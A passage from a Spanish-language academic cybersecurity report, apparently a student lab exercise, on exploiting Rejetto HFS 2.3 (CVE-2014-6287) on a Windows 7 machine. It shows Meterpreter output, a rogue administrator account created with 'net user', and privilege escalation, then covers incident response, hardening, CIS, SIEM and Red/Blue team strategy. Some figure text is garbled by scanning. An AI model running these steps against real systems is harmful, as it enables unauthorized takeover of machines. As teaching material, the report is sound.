PowerShell permite a los administradores y usuarios realizar una amplia variedad de tareas en
Windows, desde la gestion de configuraciones hasta la ejecucion de scripts complejos (Mimura

& Tajiri, 2021).



Figura 14

Informacién del PC

meterpreter > sysinfo

Computer : PC202006

os : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : x64

System Language : es_CO
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x86/windows
meterpreter > |}

Nota. Elaboracion propia.

Figura 15
Creacion del Usuario

meterpreter > shell

Process 1524 created.

Channel 2 created.

Microsoft Windows [Versien 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos

C:\Windows\system32>net user MatiosMaury 123456 /add
net user MatiosMaury 123456 /add
Se ha completado el comando correctamente.

Nota. Elaboracion propia.

Figura 16

Data de Creacién del Usuario

rooct@kali: /homelikali

File Actions Edit View Help

Command

cific command,

ique 1 (Named Pipe Impersonation (In Memory/Admi

2]
AUTHORITY\SYSTEM

Nota. Elaboracion propia.



Figura 17

Nuevo Usuario Administrativo

[E=N BoR =3

@-\Jv[ﬂf‘ <« Cuentas de usuario » Administrar cuentas - l 5 ' [ Buscar en €l Panel de control r |

Elegir la cuenta que desee cambiar

usuario MatiosMaury
‘ Administrador ‘ Usuario estandar
A Protegida por contrasefia
\ Invitado

La cuenta de invitado esta desactivada

Crear una nueva cuenta

¢Qué es una cuenta de usuario?

Acciones adicionales que se pueden realizar
& Configurar Control parental

Ir a la pagina principal de Cuentas de usuario

Nota. Elaboracion propia.

Resultado. Confirmacion de creacion del usuario administrador en el sistema objetivo.
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Herramientas para Identificar Fallos de Seguridad en Windows

Para identificar el fallo de seguridad especifico en la maquina Windows, se analizaron y
describieron los siguientes datos e informacion detallados en el Anexo 4 — Escenario 3:

Deteccion de Fuga de Informacidn Interna. Se identificé un incidente de fuga de
informacidn en uno de los equipos de la organizacion, sugiriendo un potencial compromiso de
seguridad en su infraestructura.

Aplicacion Vulnerable (Rejetto HFS v. 2.3). La maquina Windows 7 con arquitectura
x64 utiliza la aplicaciéon HTTP File Server (HFS) en su version 2.3, conocida por presentar
vulnerabilidades de ejecucion remota de codigo, que facilitaron la identificacion del fallo.

Disponibilidad de un Exploit para Sesion Remota. Se verifico la existencia de un
exploit especifico para Rejetto HFS 2.3 que permite la ejecucion de una shell reversa. Esta
vulnerabilidad abre la posibilidad de establecer una sesion de Meterpreter en la maquina
comprometida, permitiendo el control remoto del sistema.

Identificacidn de una Falla de Seguridad en la Configuracion. El analisis del entorno
revel6 configuraciones que no seguian las mejores practicas de seguridad, lo que permitio el
acceso remoto y la ejecucion del exploit.

Posibilidad de Escalacion de Privilegios. Ademas, se encontr6 una debilidad que
facilita el escalamiento de privilegios en el sistema, permitiendo a un atacante con acceso inicial

elevar sus permisos y obtener control administrativo en la maquina comprometida.
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Herramientas para Detectar Fallos de Seguridad en Windows

Para identificar los fallos de seguridad en la maquina Windows, empleé Nmap y
Metasploit como herramientas principales. Estas herramientas me permitieron detectar los
servicios y puertos abiertos, asi como vulnerabilidades especificas de la aplicacion en cuestion.
Herramientas y Uso
Nmap (Network Mapper)

Funcién. Identificacion de puertos abiertos y servicios en ejecucion.

Comando. nmap -A 192.168.18.5

Resultado. Este escaneo permitié descubrir puertos abiertos asociados con servicios de la
maquina y detectar las configuraciones de la aplicacion especifica mencionada en el anexo, como
el puerto de escucha de la aplicacion vulnerable.

Metasploit.

Funcidén. Explorar vulnerabilidades especificas de la aplicacion y verificar exploits para
la version identificada.

Comando. Tras identificar el puerto y servicio, ejecuté msfconsole, seguido de una
busqueda en la base de datos de Metasploit con search <nombre de la aplicacion o version> para
buscar exploits.

Resultado. Encontré posibles exploits relacionados con la aplicacion, confirmando si uno
de ellos permite la ejecucidn remota o escalamiento de privilegios.

Puerto Abierto por la Aplicacion
Segun el escenario del anexo, la aplicacién vulnerable especifica abre el puerto 80 y 8080

para comunicaciones. Este puerto suele estar asociado con servicios HTTP, lo cual sugiere que la



aplicacion podria ser un servidor web o interfaz de aplicacion expuesta, facilitando ataques a

través de exploits relacionados con protocolos web o de aplicaciones que corren sobre HTTP.,
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Como Afecta el Ataque a la Maquina Windows

El ataque a la maquina Windows 7 con arquitectura X64 que ejecuta la aplicacion Rejetto
v. 2.3 puede explotar vulnerabilidades especificas en la aplicacion, lo que permite a un atacante
obtener acceso no autorizado al sistema. A continuacion, te explico coémo funciona el ataque y el
impacto que tiene en la maquina victima.

Contexto: Aplicacion Rejetto V. 2.3

Rejetto es una aplicacion que permite compartir archivos a través de HTTP (servidor
HTTP basado en la aplicacion) (Jaswal, 2020). Las versiones antiguas de Rejetto, como lav.2.3,
son vulnerables a desbordamientos de bdfer y errores en la validacion de entradas, lo que permite
a un atacante ejecutar cédigo arbitrario en la maquina victima.

Descripcion del Ataque

Paso 1: Escaneo de Vulnerabilidades. El atacante, utilizando Kali Linux, identifica la
version de la aplicacion Rejetto en la maquina victima. Esto puede hacerse utilizando
herramientas como nmap y Metasploit para determinar que la version de la aplicacion es
vulnerable.

Paso 2: Exploit de la Vulnerabilidad. La vulnerabilidad en Rejetto v.2.3 permite a un
atacante enviar una solicitud maliciosa que sobrescribe la memoria del programa (Jaswal, 2020).
Esto suele ser un desbordamiento de bufer, donde la entrada proporcionada por el atacante
sobrescribe las variables de control en la memoria, permitiendo que el atacante ejecute comandos
arbitrarios.

Paso 3: Compromiso de la Maquina. El atacante, al aprovechar esta vulnerabilidad,

puede ejecutar comandos maliciosos en el sistema, como obtener una shell o incluso escalar
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privilegios si es posible. Si el atacante no tiene privilegios elevados, puede intentar ejecutar un
exploit adicional para obtener acceso como administrador o SYSTEM.

Paso 4: Creacion de un Usuario con Privilegios Administrativos. Después de obtener
acceso a la maquina, el atacante puede crear un usuario con privilegios administrativos, como
“Matios Maury”, usando comandos de sistema como net user para afiadir el nuevo usuario al
grupo de administradores.

Paso 5: Control Total Sobre la Maquina. Con el nuevo usuario administrador, el

atacante puede realizar cualquier accién en la maquina victima, como instalar software,

robar datos.

3. Impacto en la Maquina Victima. Una vez que el atacante obtiene acceso, la maquina
victima se ve afectada de varias formas:

Pérdida de Control del Sistema. El atacante tiene acceso completo al sistema, lo que
puede permitir la ejecucidn de comandos, el robo de archivos sensibles, y la manipulacion de
datos.

Escalacidn de Privilegios. Si el atacante no tiene privilegios elevados, puede utilizar el
sistema para elevar sus privilegios, obteniendo control total.

Instalacion de Malware. El atacante puede instalar malware para mantener el acceso o
para propagarse dentro de la red.

Exfiltracion de Datos Sensibles. Si la maquina contiene informacion sensible, el atacante
puede robarla o enviarla a servidores de comando y control (C&C).

Acceso a Recursos de Red. Al obtener privilegios elevados, el atacante puede utilizar la

maquina para atacar otros sistemas dentro de la red local.



Figura 18

Diagrama 01: Flujo del Ataque

Rejetto Aplicacién vulnerable en Windows 7 (Victima)

(1) Solicitud Maliciosa desde Kali

Exploit (Kali) Exploit: Desbordamiento de Bufer

(2) Ejecutar codigo malicioso

Meterpreter (Kali) Escalacién de Privilegios

(3) Crear usuario administrador

Windows 7
(Victima)

Control Total sobre el Sitema

Nuevo Usuario Administrativo

Nota. Elaboracion propia.
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Figura 19

Diagrama 02: Impacto en la Maquina (Windows)

Windows 7 (\Wictima)

(Acceso no Autorizado)

Control Total sobre el Sitema

{Acceso a Recursos)

Exfiltracion de Datos y Malware

Nota. Elaboracion propia.
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Primaeras Acciones en un Ataque en Tiempo Real

Si me encontrara ante un ataque en tiempo real, lo primero que indagaria y haria seria:
Identificacion del Tipo de Ataque y Contencion Inicial

Razén Técnica. Es crucial identificar rapidamente el tipo de ataque (ransomware, DoS,
malware, etc.) para determinar las acciones inmediatas (Danquah, 2020). Esta informacion se
puede obtener observando patrones de trafico anomalo, comportamientos inusuales en el sistema,
o0 analizando alertas del sistema de deteccion de intrusos (IDS) o firewall.

Accion. Revisar los logs del sistema operativo y del firewall en busca de anomalias,
como conexiones inusuales, procesos desconocidos o picos de actividad.
Aislar el Sistema Comprometido

Razdn Técnica. Si el sistema comprometido sigue conectado a la red, el ataque podria
propagarse a otros sistemas (Connor, McDaniel, Smith, & Schuchard, 2020). Por lo tanto, se
debe desconectar la maquina afectada para mitigar el impacto inicial.

Accidn. Usar comandos basicos como ipconfig /release (Windows) o deshabilitar la
tarjeta de red para cortar la conexion de manera segura (Choi, 2024).
Inspeccion de Procesos Activos

Razén Técnica. Un ataque puede involucrar procesos maliciosos en ejecucion.
Identificarlos puede proporcionar pistas criticas sobre el vector de ataque (Aslan, Aktug, Ozkan-
Okay, Yilmaz, & Akin, 2023).

Accidn. Ejecutar el comando tasklist o herramientas como Process Hacker (licencia GPL)
para revisar procesos sospechosos.

Andlisis de Logs del Sistema Operativo
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Razon Técnica. Los eventos registrados en los logs pueden indicar cbmo comenzé el
ataque y qué recursos estan siendo explotados (Aslan, Aktug, Ozkan-Okay, Yilmaz, & Akin,
2023).

Accion. Revisar los eventos en el Visor de Eventos de Windows, centrandose en:

Seguridad. Intentos de inicio de sesion fallidos o exitosos.

Sistema. Errores criticos o comportamientos anormales.

Aplicaciones. Fallos o ejecuciones no autorizadas.

Revision de la Red y Conexiones Activas

Razén Técnica. Un ataque en tiempo real puede implicar comunicacion con servidores
externos (C2). Analizar el trafico ayuda a identificar IPs sospechosas y bloquearlas (Kim, Park,
& Lee, 2020).

Accidn. Usar herramientas como Wireshark para capturar paquetes y netstat para
identificar conexiones activas sospechosas.

Establecimiento de un Plan de Contencion

Razén Técnica. Una vez entendido el ataque, se deben implementar medidas inmediatas
para contenerlo (como deshabilitar servicios, bloquear IPs, cerrar puertos especificos).

Accion. Aplicar politicas en el firewall y configurar reglas adicionales en la red para
detener el ataque.

El enfoque inicial debe priorizar contener el ataque para evitar mas dafio. Herramientas
GPL como Wireshark, Sysinternals Suite (gratis, aunque no GPL), y Process Hacker son criticas

para diagnosticar y mitigar rapidamente los efectos.
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Medidas de Hardenizacion Propuestas

Para mitigar y prevenir futuros ataques como el ejecutado con Rejetto HTTP File Server
(HFS), es crucial implementar medidas de hardening tanto a nivel del sistema operativo como de
la aplicacion vulnerable. De acuerdo a la descripcion de CVE:

CVE-2014-6287. La funcion findMacroMarker en parserLib.pas en Rejetto HTTP File
Server (aks HFS o HttpFileServer) 2.3x anterior a 2.3c permite a atacantes remotos ejecutar
programas arbitrarios a traves de una secuencia %00 en una accién de bdsqueda (CVE Mitre,
2024). Teniendo en cuenta lo anterior, las propuestas incluyen:
Actualizacion y Parcheo del Software

Medida. Actualizar HFS a su version mas reciente (si aplica) o reemplazarlo por un
servidor de archivos mas seguro y actualizado.

Razén. La version explotada probablemente contenia vulnerabilidades conocidas que se
solucionan en actualizaciones posteriores.
Uso de un Firewall y Restricciones de Acceso

Medida. Configurar un firewall para limitar el acceso al puerto utilizado por HFS (por
defecto, el puerto 80). Permitir conexiones solo desde direcciones IP especificas o rangos
confiables.

Razén. Restringir el acceso al servidor minimiza la exposicion a actores no autorizados.
Implementacion de Autenticacion Robusta

Medida. Activar autenticacién mediante contrasefias seguras para acceder al servidor y
deshabilitar el acceso anénimo.

Razon. El uso de credenciales débiles facilita el acceso no autorizado.

Uso de certificados SSL/TLS
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Medida. Configurar HFS para aceptar solo conexiones HTTPS en lugar de HTTP.

Razon. El cifrado HTTPS previene ataques de intercepcion y asegura que las
comunicaciones entre clientes y el servidor sean seguras.
Deshabilitar Funciones Innecesarias

Medida. Revisar la configuracion de HFS para deshabilitar funciones no necesarias (por
ejemplo, ejecucion de scripts). Eliminar scripts o configuraciones predeterminadas que puedan
ser explotadas.

Razén. Las funcionalidades no utilizadas pueden ser vectores de ataque.
Implementacién de Politicas de Acceso al Sistema

Medida. Ejecucion del HFS bajo una cuenta con privilegios minimos. Deshabilitar
cuentas de administrador innecesarias en el sistema operativo.

Razon. Limitar privilegios evita que los atacantes tomen control total del sistema en caso
de explotacion.
Monitoreo y Deteccion de Anomalias

Medida. Implementar un sistema de deteccidn de intrusos (IDS) o monitoreo del trafico
con herramientas como Suricata o Snort.

Razén. Detectar actividades sospechosas (como intentos de explotacion o trafico
anomalo) en tiempo real.
Deshabilitar el Uso de HFS si no es Necesario

Medida. Sustituir HFS por un software mas moderno y con soporte activo.

Razébn. Si no es absolutamente necesario, eliminar aplicaciones heredadas y vulnerables
elimina riesgos innecesarios.

Capacitacion del Personal
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Medida. Capacitar a los administradores sobre los riesgos asociados con el uso de
software vulnerable y como configurar aplicaciones de forma segura.

Razdn. Un personal capacitado es méas consciente de las amenazas y puede prevenir
configuraciones inseguras.
Auditorias de Seguridad Periodicas

Medida. Realizar analisis regulares de vulnerabilidades con herramientas como
OpenVAS o Nessus (version gratuita).

Razén. Esto asegura que no existan vulnerabilidades conocidas sin mitigar.
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Diferencias Entre un Blue Teamy CSIRT

Un equipo Blue Team y un equipo de respuesta a incidentes informaticos tienen roles
complementarios dentro de la ciberseguridad, pero difieren en su enfoque, responsabilidades y
momentos de accion (Chindrus & Constantin-Florin, 2023).

Blue Team: Proactivo y Defensivo

La tenacidad de Blue Teams se demuestra a través de la deteccidn proactiva de amenazas,
la contencion rapida de incidentes y la fortificacion de perimetros digitales (Chindrus &
Constantin-Florin, 2023).

Rol. Se encarga de proteger y reforzar la seguridad de los sistemas y redes de una
organizacion.

Enfoque. Implementar medidas de seguridad preventivas. Monitorear sistemas y redes
para detectar actividades sospechosas o anomalias. Evaluar vulnerabilidades y aplicar
configuraciones seguras (hardening). Disefar estrategias para minimizar riesgos. El Blue Team
opera de manera constante, asegurando que las defensas estén actualizadas y sean efectivas.

Ejemplo. Configurar firewalls, implementar politicas de acceso, y realizar auditorias
periodicas.

Equipo de Respuesta a Incidentes: Reactivo y Estratégico

La respuesta a incidentes tiene lugar bajo una presion de tiempo considerable en un
entorno organizacional dinamico y rapidamente cambiante con altos niveles de carga de
informacidn, diversidad de informacidn e incertidumbre de tareas. La respuesta a incidentes
requiere el comando, control y coordinacion de diversas personas, procesos y tecnologias para
desarrollar la conciencia de la situacion del entorno de amenazas e incidentes dentro de un

contexto organizacional en rapida evolucion (Atif, y otros, 2021 ).
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Rol. Actla especificamente cuando ocurre un incidente de seguridad, para contenerlo,
investigarlo y mitigar sus impactos.

Enfoque. Contener el ataque en tiempo real para limitar el dafio. Investigar la causa raiz
del incidente para entender como ocurrio. Proveer recomendaciones para prevenir futuros
incidentes similares. Coordinar con equipos internos y externos (como reguladores o fuerzas del
orden) si es necesario. Su actividad se centra en manejar un incidente particular y se activa
cuando ocurre una brecha de seguridad.

Ejemplo. Contener un ataque de ransomware, investigar una intrusion, o recuperar datos

comprometidos.



Tabla 1

Blue Team vs Equipo de Respuesta a Incidentes (CSRIT)
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Aspecto

Blue Team

CSIRT

Momento de accion

Enfoque principal

Rol reactivo o proactivo

Duracion del trabajo

Antes y durante un posible
incidente.

Prevencién, monitoreo, y
defensa.

Proactivo: Minimizar riesgos

futuros.

Continuo Yy estratégico.

Durante y después de un
incidente.

Contencion, analisis, y
recuperacion.

Reactivo: Resolver y mitigar
dafios.

Temporal y basado en

incidentes.

Nota. Tabla de creacion propia.

Ambos equipos son esenciales para una estrategia de ciberseguridad solida. EI Blue Team

actia como una barrera defensiva, mientras que el equipo de respuesta a incidentes interviene

cuando esa barrera es superada, restaurando la normalidad y aprendiendo del ataque para mejorar

la defensa futura.
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Uso e Importancia de Trabajar con CIS (Center for Internet Security)

El Center for Internet Security (CIS) proporciona recursos y guias ampliamente
reconocidas en la industria de la ciberseguridad, que son esenciales para un equipo Blue Team
(Ramezan, 2023). Si se me indicara trabajar con CIS, lo utilizaria para los siguientes fines:
Implementacién de Benchmarking de Seguridad

Permite a las organizaciones comparar sus practicas, politicas y configuraciones de
seguridad con estandares reconocidos o con otras organizaciones lideres en el sector
(Anastasova, Azarderakhsh, & Kermani, 2021).

Uso. Aplicar los CIS Benchmarks, que son guias detalladas de configuracién segura para
sistemas operativos, aplicaciones y dispositivos de red.

Propdsito. Asegurar que los sistemas cumplan con configuraciones seguras
recomendadas por expertos, reduciendo vulnerabilidades comunes.

Ejemplo. Configurar politicas de grupo (GPO) en Windows siguiendo los Benchmarks
de CIS para endurecer contrasefias, accesos y permisos.

Auditorias de Seguridad

Estas auditorias permiten detectar y corregir deficiencias antes de que sean explotadas
por atacantes, fortaleciendo asi la postura de seguridad. En escenarios como los ataques en
tiempo real, las auditorias también son fundamentales para prevenir futuras intrusiones y
minimizar riesgos (Antunes, Maximiano, & Gomes, 2022).

Uso. Evaluar la conformidad de los sistemas con las mejores practicas de seguridad
mediante herramientas como CIS-CAT (CIS Configuration Assessment Tool).

Propdsito. Identificar configuraciones deficientes o incumplimientos que puedan ser

explotados por atacantes.
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Ejemplo. Analizar servidores Windows o Linux para verificar que no tengan puertos o
servicios innecesarios habilitados.
Priorizacion de Controles Esenciales

En el contexto de la ciberseguridad es vital para enfocarse en medidas clave que ofrezcan
la mayor proteccidn contra amenazas comunes Yy avanzadas (Alghassab, 2021).

Uso. Implementar los CIS Controls (anteriormente conocidos como CSC, Critical
Security Controls).

Proposito. Aplicar un enfoque sistematico y priorizado para mejorar la seguridad en la
organizacion.

Ejemplo. Inventariar activos y software (CIS Control 1y 2). Monitorear y controlar
accesos administrativos (CIS Control 4).
Formacion y Capacitacion

En escenarios criticos, como ataques en tiempo real, un personal capacitado puede tomar
decisiones rapidas y efectivas, minimizando el impacto del incidente y protegiendo los activos
organizacionales (Mendivil, Sanz, & Gutierrez, 2022).

Uso. Utilizar los recursos educativos y guias de CIS para capacitar al equipo sobre
configuraciones seguras y mejores practicas.

Proposito. Aumentar el nivel de conocimiento técnico del equipo y alinear sus esfuerzos
con estandares reconocidos.

Ejemplo. Formar al equipo sobre como implementar politicas de seguridad en servidores
basadas en Benchmarks.

Fortalecimiento de la Resiliencia Organizacional
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Asegurar la continuidad operativa, la confianza de los clientes y el cumplimiento de
normativas (Mendivil, Sanz, & Gutierrez, 2022).

Uso. Adoptar guias de respuesta ante incidentes o medidas de seguridad recomendadas en
entornos criticos.

Proposito. Preparar y reforzar la postura defensiva de la organizacion contra amenazas
emergentes.

Ejemplo. Aplicar controles avanzados de monitoreo en endpoints segun los Benchmarks
y Controls de CIS.
Beneficio Técnico

El uso de los recursos de CIS garantiza un enfoque estructurado, basado en estandares
reconocidos, para mejorar la seguridad de la organizacion, mitigando riesgos comunes y
facilitando la conformidad con regulaciones de la industria.
Conclusion

Dentro de un equipo Blue Team, el CIS seria una herramienta esencial para implementar
configuraciones seguras, realizar auditorias, y priorizar medidas de defensa que refuercen la

ciberseguridad organizacional.
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Las Funciones y Caracteristicas Principales de lo que es un SIEM

Un SIEM (Security Information and Event Management) es una herramienta clave en la
ciberseguridad moderna, disefiada para recopilar, correlacionar y analizar eventos de seguridad
generados por sistemas y dispositivos en una red. Su objetivo principal es mejorar la visibilidad,
deteccidn y respuesta ante amenazas de seguridad (Gonzalez-Granadillo, Gonzalez-Zarzosa, &
Diaz, 2021).
Funciones principales de un SIEM

Recopilacion de Datos. Un SIEM relne datos en tiempo real o histéricos provenientes
de multiples fuentes, como firewalls, sistemas operativos, aplicaciones, servidores, y dispositivos
de red.

Ejemplo. Logs de acceso, eventos de sistema y trafico de red.

Correlacion de Eventos. Analiza y relaciona eventos aparentemente independientes para
identificar patrones sospechosos o0 amenazas.

Ejemplo. Si un usuario intenta maltiples inicios de sesién fallidos y poco después accede
a datos sensibles, el SIEM lo detecta como actividad anémala.

Monitoreo y Alertas. Supervisa la actividad de la red en tiempo real y genera alertas
cuando detecta comportamientos que coinciden con reglas predefinidas o patrones de ataque.

Ejemplo. Alertar sobre intentos de explotacion de vulnerabilidades conocidas.

Analisis Forense. Almacena y organiza eventos historicos para permitir investigaciones
detalladas sobre incidentes de seguridad.

Ejemplo. Determinar cdmo ocurrié una intrusion y qué sistemas se vieron afectados.
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Cumplimiento Normativo. Ayuda a las organizaciones a cumplir regulaciones de
seguridad (como GDPR, HIPAA, o PCI DSS) al mantener registros detallados de eventos y
auditorias.

Ejemplo. Generar reportes automaticos que demuestren la conformidad con normativas.

Gestion Centralizada. Centraliza los datos de seguridad de toda la infraestructura en una
sola plataforma, lo que facilita la gestion de incidentes y la colaboracidn entre equipos.

Ejemplo. Integrar eventos de multiples servidores y dispositivos en un tunico panel de
control.

Caracteristicas Principales de un SIEM

Compatibilidad Multiplataforma. Debe ser capaz de recopilar datos de diversos
sistemas, como Windows, Linux, firewalls, y dispositivos loT.

Escalabilidad. Capacidad para manejar grandes volimenes de datos, adaptandose al
crecimiento de la organizacion.

Analisis Avanzado. Utilizacion de tecnologias como inteligencia artificial (1A) y
aprendizaje automatico para detectar amenazas avanzadas o desconocidas.

Automatizacién. Puede responder automaticamente a ciertos incidentes mediante la
ejecucidn de scripts o el bloqueo de usuarios o direcciones IP sospechosas.

Interfaz Intuitiva. Ofrece dashboards y reportes claros y personalizables que permiten a
los equipos tomar decisiones rapidamente.

Beneficios Clave de un SIEM
Visibilidad. Permite obtener una vision integral de la seguridad de la organizacion.
Deteccion Proactiva. Identifica amenazas antes de que causen dafios significativos.

Eficiencia. Reduce el tiempo necesario para identificar y responder a incidentes.
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Colaboracion. Mejora la coordinacion entre equipos de ciberseguridad.
Ejemplos de SIEM Populares

Open Source. Wazuh, Elastic Stack (ELK), OSSEC.

Comerciales. Splunk, IBM QRadar, ArcSight, LogRhythm.

El SIEM es una herramienta esencial para proteger redes y sistemas al centralizar y
analizar datos de seguridad. Su capacidad para detectar amenazas y facilitar el andlisis forense lo

convierte en una pieza clave en la estrategia de defensa cibernética.
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Tres Herramientas para Contener Ataques Informaticos

Las herramientas de contencion de ataques informaticos se utilizan para mitigar, limitar o
detener un ataque una vez detectado, protegiendo los activos de la organizacion y evitando dafios
adicionales. Estas herramientas pueden ser de hardware o software, y estan disefiadas para actuar
directamente sobre el ataque en tiempo real. A continuacion, se describen tres ejemplos:
Firewall

Los firewalls se consideran la primera linea de defensa para proteger las redes
inteligentes y abordar los desafios de la ciberseguridad. Los firewalls se aplican en diferentes
niveles en las redes y varian desde los firewalls convencionales basados en servidores hasta los
firewalls basados en la nube (Anwar, Abdullah, & Pastore, 2021).

Tipo. Hardware y software.

Funcion. Controla el trafico entrante y saliente de la red, permitiendo o blogqueando
conexiones segun reglas predefinidas.

Modo de Contencion. Bloquear direcciones IP o rangos sospechosos. Restringir accesos
a puertos vulnerables o especificos. Implementar reglas dinamicas para detener conexiones
anomalas o maliciosas.

Ejemplo. Un ataque DDoS puede ser contenido al bloquear el trafico proveniente de las
fuentes identificadas como maliciosas.
Endpoint Detection and Response (EDR) con Capacidades de Contencion

Las soluciones de deteccion y respuesta de puntos finales (EDR) agregan una capa
adicional de proteccion para evitar que una accién de punto final se convierta en una brecha.

EDR es la principal herramienta de deteccion y respuesta de la region que combina datos de
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punto final y de red para reconocer y responder a amenazas sofisticadas (Arfeen, Saad, Khan, &
Jafri, 2021).

Tipo. Software.

Funcion. Aunque su principal rol es la deteccion, un EDR avanzado incluye capacidades
de contencidn para mitigar ataques en dispositivos finales.

Modo de Contencion. Aislar automaticamente un endpoint infectado del resto de la red.
Terminar procesos maliciosos en ejecucion. Bloquear archivos sospechosos antes de que se
propaguen.

Ejemplo. En caso de un ransomware, el EDR puede contener el ataque al desconectar la
maquina comprometida del resto de la red y detener la encriptacién de archivos.

Network Access Control (NAC) Tipo:

Hardware y software.

Funcion: Regula y restringe el acceso a la red con base en politicas de seguridad,
limitando la actividad de dispositivos no autorizados o comprometidos.

Modo de Contencion. Denegar acceso a dispositivos no autorizados. Aislar segmentos
de red comprometidos para contener el ataque.Aplicar politicas especificas segun el nivel de
riesgo detectado.

Ejemplo. Si se detecta un dispositivo comprometido, el NAC puede moverlo
automaticamente a una red aislada o restringir sus permisos de acceso.

Otras Herramientas de Contencion Comunes
IPS (Intrusion Prevention System). Bloguea automaticamente trafico identificado como

malicioso.
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Sandboxing. Detiene la ejecucion de archivos sospechosos aislandolos en un entorno
controlado.

Switch con Capacidades de Contencion. Permite deshabilitar o aislar puertos fisicos
especificos en caso de actividad anomala.

Las herramientas de contencion no solo mitigan los impactos inmediatos de un ataque,
sino que también ayudan a preservar la integridad de los sistemas mientras se implementan
soluciones permanentes. Su funcion es esencial para proteger activos criticos durante un

incidente de seguridad.
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Aspectos que Aporten al Desarrollo de Estrategias de Red Team & Blue Team
Estrategias de Red Team

Reconocimiento Avanzado. Realizar analisis OSINT (Open Source Intelligence) para
identificar vectores de ataque menos evidentes. Mapear la infraestructura utilizando herramientas
como Nmap y Nessus para descubrir activos vulnerables.

Uso de Exploits Personalizados. Desarrollar o adaptar exploits especificos segun las
vulnerabilidades detectadas en el entorno objetivo. Implementar payloads ofuscados para evitar
la deteccion por sistemas de seguridad.

Simulacién de Atagues en Cadena. Ejecutar ataques que combinen phishing, escalacion
de privilegios y movimientos laterales dentro de la red, emulando actores avanzados.

Persistencia en Sistemas Comprometidos. Desplegar backdoors discretos y aprovechar
técnicas como DLL hijacking o registro de tareas programadas.

Evaluacion de Respuesta del Blue Team. Registrar y analizar la deteccion y contencién
del Blue Team durante ejercicios controlados.

Estrategias de Blue Team

Fortalecimiento del Monitoreo. Implementar herramientas de SIEM como Splunk o
ELK para centralizar la deteccion de incidentes. Configurar alertas en tiempo real para
actividades inusuales, como cambios en cuentas privilegiadas.

Gestion de Parches y Configuraciones. Asegurar que todos los sistemas estén
actualizados con las ultimas correcciones de seguridad. Realizar auditorias regulares para

identificar configuraciones inseguras o no autorizadas.
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Respuesta a Incidentes en Tiempo Real. Definir y practicar planes de respuesta ante
incidentes, asegurando roles claros dentro del equipo. Utilizar técnicas de contencion rapida,
como aislar dispositivos comprometidos de la red.

Simulaciones Regulares. Organizar ejercicios de ataque simulado (tabletop o live-fire)
para evaluar la preparacion y mejorar tiempos de respuesta.

Educacion y Concienciacion. Ofrecer entrenamientos regulares para detectar amenazas
comunes como phishing. Involucrar a todos los niveles de la organizacién en las mejores
practicas de ciberseguridad.

Integracion Entre Ambos Equipos

Colaboracion en Simulacros. Realizar ejercicios de Red vs. Blue con retroalimentacion
conjunta.

Intercambio de Inteligencia. Compartir hallazgos sobre tacticas, técnicas y
procedimientos (TTPs) de atacantes.

Adopcidn de Purple Team. Combinar esfuerzos para mejorar defensas y técnicas

ofensivas simultdneamente.



59

Recomendaciones para Endurecer la Seguridad en una Organizacion
Fortalecimiento de Infraestructura Técnica

Segmentacion de Red. Implementar zonas de seguridad (DMZ, red interna y red
publica) para minimizar el impacto de posibles ataques.

Gestion de Parches. Establecer un proceso regular de actualizacion de software y
sistemas operativos para corregir vulnerabilidades conocidas.

Control de Acceso. Adoptar el principio de menor privilegio (PoLP) y usar autenticacion
multifactor (MFA) en todos los accesos criticos.

Endurecimiento de Sistemas. Deshabilitar servicios y puertos no utilizados, ademas de
implementar politicas estrictas de contrasefias.

Monitorizacion y Respuesta a Incidentes

Implementacion de SIEM. Utilizar soluciones como Splunk, Elastic Stack o Wazuh
para centralizar la deteccion y correlacion de eventos de seguridad.

Analisis de Comportamiento. Establecer herramientas basadas en machine learning que
detecten actividades inusuales en tiempo real.

Resiliencia Ante Ataques. Disefiar un plan de recuperacion ante desastres (DRP) y
planes de continuidad operativa (BCP) que incluyan respaldos regulares y pruebas periddicas.
Cultura de Seguridad Organizacional

Capacitacion Continua. Ofrecer programas regulares de formacién en ciberseguridad
para empleados, adaptados a las amenazas emergentes.

Simulaciones de Ataques. Realizar simulacros de phishing y ejercicios Red Team para

evaluar y mejorar la respuesta organizacional.
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Politicas Claras. Crear y mantener politicas de seguridad, como BYOD (Bring Your
Own Device), uso aceptable de internet y gestion de datos sensibles.
Pruebas Regulares de Vulnerabilidades

Analisis de Vulnerabilidades. Programar escaneos automaticos y manuales periddicos
para identificar puntos débiles en sistemas y aplicaciones.

Penetration Testing. Contratar expertos para realizar pruebas de penetracion orientadas
a simular posibles ataques.

Validacion de Parches. Verificar que las actualizaciones implementadas no generen
nuevas vulnerabilidades.
Proteccion Contra Amenazas Internas

Monitoreo de Usuarios Privilegiados. Supervisar la actividad de cuentas con acceso
administrativo.

Deteccion de Insiders. Implementar soluciones de DLP (Data Loss Prevention) para
identificar y bloquear intentos de fuga de datos.

Revision de Accesos. Realizar auditorias periddicas para asegurar que los usuarios tienen
los permisos adecuados.
Colaboracién y Mejora Continua

Adopcidén de Frameworks Reconocidos. Seguir estandares como I1ISO 27001, NIST
Cybersecurity Framework o CIS Controls.

Evaluaciones Externas. Participar en auditorias independientes para obtener
perspectivas imparciales sobre la postura de seguridad.

Purple Team. Fomentar la colaboracién entre equipos Red y Blue para optimizar

defensas y técnicas de deteccion.
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Conclusiones

La interconexion aumenta los riesgos de seguridad, debdo a esto la necesidad de las
organizaciones de conectarse a internet expone su informacion sensible a ataques internos y
externos, lo que hace imprescindible la implementacion de estrategias de ciberseguridad
robustas.

Las estrategias del Red Team y Blue Team, tienen un enfogue que permite evaluar y
fortalecer la seguridad mediante la simulacion de ataques reales y la optimizacién de respuestas,
siendo clave para identificar y mitigar vulnerabilidades.

La cultura de seguridad organizacional, es la capacitacion constante, simulaciones de
incidentes y concienciacion del personal son esenciales para prevenir y responder eficazmente a
ciberataques.

La legislacion y certificaciones en Colombia, la Ley 1273 de 2009 necesita ajustes para
abordar vacios legales. Las certificaciones en ciberseguridad son fundamentales, pero deben
complementarse con enfoques integrales.

El fortalecimiento continuo de la seguridad en las acciones como la segmentacion de
redes, el monitoreo activo y la gestion de parches fortalecen la proteccion frente a amenazas. La

integracion de Red Team y Blue Team asegura mejoras constantes en la postura de seguridad.
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